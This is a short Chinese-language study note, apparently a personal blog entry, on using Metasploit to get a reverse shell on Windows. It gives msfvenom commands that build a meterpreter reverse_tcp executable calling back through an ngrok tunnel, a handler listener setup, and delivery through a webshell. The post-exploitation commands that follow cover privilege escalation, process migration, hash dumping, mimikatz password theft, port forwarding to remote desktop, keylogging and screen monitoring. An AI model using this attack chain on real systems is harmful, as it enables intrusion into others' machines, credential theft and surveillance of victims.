[笔记]MetaSploit之弹个shell

在学习Kali Linux渗透时候记录的Metasploit使用笔记

0x00 简介

Metasploit是一款开源安全漏洞检测工具，附带数百个已知的软件漏洞，并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。

0x01 reverse_tcp 反弹shell

sunny clientid 隧道id 
即可启动服务

生成反弹shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=free.ngrok.cc LPORT=19286 -f exe > /tmp/reverse.exe

Msfconsole        #启动msf
use exploit/multi/handler    #监听
set payload windows/meterpreter/reverse_tcp    #设置payload reverse_tcp
set LHOST 0.0.0.0        #设置本地监听所有IP
set LPORT 端口        #设置本地监听端口4444

run即可

然后上传reverse.exe至webshell
运行revers.exe
此时等待一会儿发现本机已经建立会话

getuid  //发现权限较低，为user

getsystem    //提权

migrate pid    //进程注入提权

hashdump  //下载hash

load mimikaz //读取明文pawd

meterpreter下： shell   //进入对方shell

portfwd add -l 本机端口 -r 远程主机IP -p 远程主机端口   //内网转发
rdesktop a 32 127.0.0.1:本机端口   //远程链接

moudle    //模块
payload   //攻击载荷
msvenom   //msfpayload,msfencode的结合体
msvenom -p 攻击载荷 -LHOST 本地IP -LPORT 本地端口 -f 文件格式 -o 输出目录
use exploit/multi/handler  监听模块
set payload 相同攻击载荷
set lhost 0.0.0.0
set lport 本地端口
//建立会话后
jobs 停止获取
sessions -l   //列出session
session -i id   //进入meterpreter

之后的对于具体操作 输入-help 或 ? 即可获取帮助
比如键盘记录啊、屏幕监控run vnc等等的~

就到这里了，也可以使用background后，使用msf的getsystem提权